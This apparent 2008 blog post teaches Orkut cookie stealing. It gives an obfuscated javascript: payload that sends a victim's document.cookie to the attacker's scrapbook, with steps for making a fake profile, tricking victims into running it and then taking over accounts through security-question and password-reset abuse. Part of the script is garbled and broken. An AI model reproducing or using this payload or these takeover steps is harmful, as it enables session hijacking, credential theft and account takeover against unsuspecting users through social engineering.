Friday, February 1, 2008

Cookie stealing (Fully Explained)

FOR ALL THOSE WHO DONT NOE WHTS Cookie stealing:
Just a way to get Passwords (Yahoo, Orkut...) by using more brain than hacking......!!!

1) Create fake profile n send this script to victim...
javascript:orkut=replyForm;orkut.toUserId.value=XXXXXXXX;orkut.scrapText.value=eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,99,111,111,107,105,101));orkut.action='Scrapbook.aspx?Action.submit';orkut.submit();javascript:cor=new Array('u','b','i','u');var z=1;txt=document.getElementsByTagName('textarea')[0];txt.value=txt.value.replace(/(.)/gi,"§$1");txt.value=txt.value.replace(/\§ /gi," ");for(y=0;y>owned>>> then unjoin it and add photo of u like of change profile of community...add ur self as a moderator...now make unjoin for that user..and login wid ur id n goto community u can find after one week or as per updation in ORKUT..simply take tht community to u..
itz da way but i jst edited them..
i ll try it on ma self n show u da process...

for password...
change security question and itz answer... and then logout than login wid same id and any password the error ll b aapear invalid waalin than go to forget id n password jst work wid security questions..one hint jst way is on acces da victim simply write gmail.com if user have gmail id and press enter u can see u can login directly widout id n password u can also change settings from there...
for password one more thing is dat u can decode whole cookie if u can get which type of encrytion made by them i m also serchin in this way yaar...






PLZ NOTE :

1.
the script is not personalized 4 u , u have to remove XXXXXX
orkut.toUserId.value=XXXXXXXX portion wid ur GID remember not UID.....

2.This scrpt works fully n completely wid opera n FIREFOX

3. Be clear in ur mind ,use this scrpit if u wanna know ur GID

javascript:void(prompt('',document.body.innerHTML.match(/http:\/\/\w+.orkut.com\/images\/\w+\/\d+\/([0-9]+).jpg/gi).join('\n').toString().replace(/http:\/\/\w+.orkut.com\/images\/\w+\/\d+\/([0-9]+).jpg/gi,'$1')))[\b][\red]

copy your GID when you've entered this javascript
after running this script wid mozilla n opera new window pop up wid ur GID
replace ur GID wid XXXXXX part in script n send da script to user wid social technics....

Any more queries... post it here....( In Comments ....just post it ! )

No comments: